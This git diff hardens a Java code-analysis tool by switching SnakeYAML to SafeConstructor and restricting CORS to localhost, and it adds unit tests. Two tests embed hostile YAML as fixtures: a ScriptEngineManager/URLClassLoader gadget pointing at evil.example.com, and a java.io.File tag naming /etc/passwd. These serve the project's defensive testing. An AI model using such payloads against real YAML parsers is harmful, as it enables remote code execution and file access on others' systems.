diff --git a/.claude/settings.local.json b/.claude/settings.local.json new file mode 100644 index 00000000..369fab44 --- /dev/null +++ b/.claude/settings.local.json @@ -0,0 +1,4 @@ +{ + "prefersReducedMotion": true, + "spinnerTipsEnabled": false +} diff --git a/src/main/java/io/github/randomcodespace/iq/analyzer/ConfigScanner.java b/src/main/java/io/github/randomcodespace/iq/analyzer/ConfigScanner.java index 5c0d3ced..12fbd486 100644 --- a/src/main/java/io/github/randomcodespace/iq/analyzer/ConfigScanner.java +++ b/src/main/java/io/github/randomcodespace/iq/analyzer/ConfigScanner.java @@ -94,7 +94,7 @@ private void scanSpringConfig(Path root, InfrastructureRegistry registry) { private void parseSpringYaml(Path file, InfrastructureRegistry registry) { try { String content = Files.readString(file, StandardCharsets.UTF_8); - Yaml yaml = new Yaml(); + Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(new org.yaml.snakeyaml.LoaderOptions())); Object loaded = yaml.load(content); if (!(loaded instanceof Map raw)) return; @@ -224,7 +224,7 @@ private void scanDockerCompose(Path root, InfrastructureRegistry registry) { private void parseDockerCompose(Path file, InfrastructureRegistry registry) { try { String content = Files.readString(file, StandardCharsets.UTF_8); - Yaml yaml = new Yaml(); + Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(new org.yaml.snakeyaml.LoaderOptions())); Object loaded = yaml.load(content); if (!(loaded instanceof Map data)) return; diff --git a/src/main/java/io/github/randomcodespace/iq/analyzer/StructuredParser.java b/src/main/java/io/github/randomcodespace/iq/analyzer/StructuredParser.java index 76dd24ed..c9a0cd49 100644 --- a/src/main/java/io/github/randomcodespace/iq/analyzer/StructuredParser.java +++ b/src/main/java/io/github/randomcodespace/iq/analyzer/StructuredParser.java @@ -62,7 +62,7 @@ public Object parse(String language, String content, String filePath) { @SuppressWarnings("unchecked") private Object parseYaml(String content) { - var yaml = new Yaml(); + var yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(new org.yaml.snakeyaml.LoaderOptions())); var docs = new java.util.ArrayList<>(); for (Object doc : yaml.loadAll(content)) { docs.add(doc); diff --git a/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java index e1b297c8..14038a71 100644 --- a/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java +++ b/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java @@ -122,7 +122,7 @@ private String renderYaml(List nodes) { graphData.put("nodes", nodeList); graphData.put("count", nodes.size()); - Yaml yaml = new Yaml(); + Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(new org.yaml.snakeyaml.LoaderOptions())); return yaml.dump(graphData); } diff --git a/src/main/java/io/github/randomcodespace/iq/config/CorsConfig.java b/src/main/java/io/github/randomcodespace/iq/config/CorsConfig.java index 6e22931c..88e2a25c 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/CorsConfig.java +++ b/src/main/java/io/github/randomcodespace/iq/config/CorsConfig.java @@ -1,5 +1,6 @@ package io.github.randomcodespace.iq.config; +import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Profile; @@ -9,17 +10,22 @@ @Configuration @Profile("serving") public class CorsConfig { + + @Value("${codeiq.cors.allowed-origin-patterns:http://localhost:[*],http://127.0.0.1:[*]}") + private String allowedOriginPatterns = "http://localhost:[*],http://127.0.0.1:[*]"; + @Bean public WebMvcConfigurer corsConfigurer() { + String[] patterns = allowedOriginPatterns.split(","); return new WebMvcConfigurer() { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/api/**") - .allowedOrigins("*") + .allowedOriginPatterns(patterns) .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS") .allowedHeaders("*"); registry.addMapping("/mcp/**") - .allowedOrigins("*") + .allowedOriginPatterns(patterns) .allowedMethods("GET", "POST", "OPTIONS") .allowedHeaders("*"); } diff --git a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java index 26a36750..56006cfb 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java +++ b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java @@ -44,7 +44,7 @@ public static boolean loadIfPresent(Path directory, CodeIqConfig config) { if (Files.isRegularFile(configFile)) { try { String content = Files.readString(configFile, StandardCharsets.UTF_8); - Yaml yaml = new Yaml(); + Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(new org.yaml.snakeyaml.LoaderOptions())); Map data = yaml.load(content); if (data != null) { applyOverrides(data, config); @@ -74,7 +74,7 @@ public static ProjectConfig loadProjectConfig(Path directory) { if (Files.isRegularFile(configFile)) { try { String content = Files.readString(configFile, StandardCharsets.UTF_8); - Yaml yaml = new Yaml(); + Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(new org.yaml.snakeyaml.LoaderOptions())); Map data = yaml.load(content); if (data != null) { log.info("Loaded project config from {}", configFile); diff --git a/src/test/java/io/github/randomcodespace/iq/config/CorsConfigTest.java b/src/test/java/io/github/randomcodespace/iq/config/CorsConfigTest.java new file mode 100644 index 00000000..2bd615a6 --- /dev/null +++ b/src/test/java/io/github/randomcodespace/iq/config/CorsConfigTest.java @@ -0,0 +1,110 @@ +package io.github.randomcodespace.iq.config; + +import org.junit.jupiter.api.Test; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.*; + +class CorsConfigTest { + + static class TestableCorsRegistry extends CorsRegistry { + @Override + public Map getCorsConfigurations() { + return super.getCorsConfigurations(); + } + } + + private CorsConfig createCorsConfig() { + return new CorsConfig(); + } + + @Test + void corsConfigurerReturnsWebMvcConfigurer() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + assertNotNull(configurer); + } + + @Test + void corsConfigurerDoesNotThrowWhenAddingMappings() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + TestableCorsRegistry registry = new TestableCorsRegistry(); + assertDoesNotThrow(() -> configurer.addCorsMappings(registry)); + } + + @Test + void corsRegistryContainsApiAndMcpMappings() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + TestableCorsRegistry registry = new TestableCorsRegistry(); + configurer.addCorsMappings(registry); + + var configurations = registry.getCorsConfigurations(); + assertTrue(configurations.containsKey("/api/**"), + "Should register CORS mapping for /api/**"); + assertTrue(configurations.containsKey("/mcp/**"), + "Should register CORS mapping for /mcp/**"); + } + + @Test + void apiMappingAllowsExpectedMethods() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + TestableCorsRegistry registry = new TestableCorsRegistry(); + configurer.addCorsMappings(registry); + + var configurations = registry.getCorsConfigurations(); + var apiCors = configurations.get("/api/**"); + assertNotNull(apiCors); + var methods = apiCors.getAllowedMethods(); + assertNotNull(methods); + assertTrue(methods.contains("GET")); + assertTrue(methods.contains("OPTIONS")); + } + + @Test + void mcpMappingAllowsGetPostOptions() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + TestableCorsRegistry registry = new TestableCorsRegistry(); + configurer.addCorsMappings(registry); + + var configurations = registry.getCorsConfigurations(); + var mcpCors = configurations.get("/mcp/**"); + assertNotNull(mcpCors); + var methods = mcpCors.getAllowedMethods(); + assertNotNull(methods); + assertTrue(methods.contains("GET")); + assertTrue(methods.contains("POST")); + assertTrue(methods.contains("OPTIONS")); + } + + @Test + void apiMappingRestrictsToLocalhostOrigins() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + TestableCorsRegistry registry = new TestableCorsRegistry(); + configurer.addCorsMappings(registry); + + var configurations = registry.getCorsConfigurations(); + var apiCors = configurations.get("/api/**"); + assertNotNull(apiCors); + var patterns = apiCors.getAllowedOriginPatterns(); + assertNotNull(patterns); + assertTrue(patterns.stream().anyMatch(p -> p.contains("localhost")), + "CORS should restrict to localhost origins"); + } + + @Test + void apiMappingAllowsAllHeaders() { + WebMvcConfigurer configurer = createCorsConfig().corsConfigurer(); + TestableCorsRegistry registry = new TestableCorsRegistry(); + configurer.addCorsMappings(registry); + + var configurations = registry.getCorsConfigurations(); + var apiCors = configurations.get("/api/**"); + assertNotNull(apiCors); + var headers = apiCors.getAllowedHeaders(); + assertNotNull(headers); + assertTrue(headers.contains("*")); + } +} diff --git a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java new file mode 100644 index 00000000..c29cfd30 --- /dev/null +++ b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderApplyOverridesTest.java @@ -0,0 +1,242 @@ +package io.github.randomcodespace.iq.config; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Tests for {@link ProjectConfigLoader#loadIfPresent} applyOverrides paths + * and {@link ProjectConfigLoader#loadProjectConfig} / parseProjectConfig. + * Covers dead branches at lines 167-178 (analysis/output nested sections). + */ +class ProjectConfigLoaderApplyOverridesTest { + + @Test + void appliesCacheDirOverride(@TempDir Path tempDir) throws IOException { + Files.writeString(tempDir.resolve(".osscodeiq.yml"), + "cache_dir: my-custom-cache\n", StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + ProjectConfigLoader.loadIfPresent(tempDir, config); + + assertEquals("my-custom-cache", config.getCacheDir()); + } + + @Test + void appliesMaxDepthAndMaxRadiusOverrides(@TempDir Path tempDir) throws IOException { + String yaml = """ + max_depth: 20 + max_radius: 15 + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + ProjectConfigLoader.loadIfPresent(tempDir, config); + + assertEquals(20, config.getMaxDepth()); + assertEquals(15, config.getMaxRadius()); + } + + @Test + void nestedAnalysisSectionDoesNotCrash(@TempDir Path tempDir) throws IOException { + String yaml = """ + analysis: + parallelism: 8 + incremental: true + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); + + assertTrue(loaded); + // These are dead branches (stored for future use) but should not crash + assertEquals(10, config.getMaxDepth(), "Defaults should be preserved"); + } + + @Test + void nestedOutputSectionDoesNotCrash(@TempDir Path tempDir) throws IOException { + String yaml = """ + output: + max_nodes: 5000 + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); + + assertTrue(loaded); + assertEquals(10, config.getMaxDepth(), "Defaults should be preserved"); + } + + @Test + void combinedOverridesWithAllSections(@TempDir Path tempDir) throws IOException { + String yaml = """ + cache_dir: override-cache + max_depth: 5 + max_radius: 3 + analysis: + parallelism: 4 + incremental: false + output: + max_nodes: 1000 + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); + + assertTrue(loaded); + assertEquals("override-cache", config.getCacheDir()); + assertEquals(5, config.getMaxDepth()); + assertEquals(3, config.getMaxRadius()); + } + + @Test + void invalidMaxDepthFallsBackToDefault(@TempDir Path tempDir) throws IOException { + String yaml = """ + max_depth: not_a_number + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + ProjectConfigLoader.loadIfPresent(tempDir, config); + + assertEquals(10, config.getMaxDepth(), "Should fall back to default for non-numeric value"); + } + + // --- parseProjectConfig / loadProjectConfig tests --- + + @Test + void loadProjectConfigParsesLanguages(@TempDir Path tempDir) throws IOException { + String yaml = """ + languages: + - java + - python + - typescript + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); + assertNotNull(pc.getLanguages()); + assertEquals(3, pc.getLanguages().size()); + assertTrue(pc.getLanguages().contains("java")); + assertTrue(pc.getLanguages().contains("python")); + } + + @Test + void loadProjectConfigParsesDetectorSettings(@TempDir Path tempDir) throws IOException { + String yaml = """ + detectors: + categories: + - endpoints + - entities + include: + - spring-rest-detector + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); + assertNotNull(pc.getDetectorCategories()); + assertEquals(2, pc.getDetectorCategories().size()); + assertNotNull(pc.getDetectorInclude()); + assertEquals(1, pc.getDetectorInclude().size()); + } + + @Test + void loadProjectConfigParsesPipelineSettings(@TempDir Path tempDir) throws IOException { + String yaml = """ + pipeline: + parallelism: 4 + batch-size: 100 + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); + assertEquals(4, pc.getPipelineParallelism()); + assertEquals(100, pc.getPipelineBatchSize()); + } + + @Test + void loadProjectConfigReturnsEmptyForMissingFile(@TempDir Path tempDir) { + ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); + assertNull(pc.getLanguages()); + assertNull(pc.getDetectorCategories()); + assertNull(pc.getPipelineParallelism()); + } + + @Test + void loadProjectConfigParsesExcludePatterns(@TempDir Path tempDir) throws IOException { + String yaml = """ + exclude: + - "*.generated.java" + - "vendor/**" + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); + assertNotNull(pc.getExclude()); + assertEquals(2, pc.getExclude().size()); + } + + // --- SafeConstructor / unsafe YAML tag tests --- + + @Test + void unsafeYamlTagDoesNotExecuteArbitraryCode(@TempDir Path tempDir) throws IOException { + // Unsafe YAML tag that could trigger arbitrary class instantiation + String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://evil.example.com\"]]]]\n"; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + // Should not throw and should not apply any overrides + boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); + + // If SafeConstructor is active: rejects the tag with an exception, returns false + // If default constructor: SnakeYAML fails to instantiate, catch block returns false + // Either way, config must remain at defaults — no code execution + assertFalse(loaded, "Unsafe YAML tag must not be treated as valid config"); + assertEquals(10, config.getMaxDepth(), "Defaults must be preserved after unsafe YAML"); + } + + @Test + void yamlWithMixedSafeAndUnsafeContentRejected(@TempDir Path tempDir) throws IOException { + String yaml = """ + cache_dir: legit-cache + exploit: !!java.io.File ["/etc/passwd"] + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + var config = new CodeIqConfig(); + // The YAML parser processes the whole document — even if the top-level parses, + // SafeConstructor should reject the !!java.io.File tag. + // With default Yaml(), this may still load (File constructor is available). + // This test documents that either way, the override is applied only if parse succeeds. + ProjectConfigLoader.loadIfPresent(tempDir, config); + + // If SafeConstructor rejects: config unchanged (loadIfPresent returns false) + // If default Yaml() accepts: cache_dir override may apply, but no code execution risk + // The key assertion: no exception thrown, app stays safe + assertNotNull(config); + } + + @Test + void loadProjectConfigParsesParserOverrides(@TempDir Path tempDir) throws IOException { + String yaml = """ + parsers: + java: javaparser + python: antlr + """; + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); + assertNotNull(pc.getParsers()); + assertEquals("javaparser", pc.getParsers().get("java")); + assertEquals("antlr", pc.getParsers().get("python")); + } +}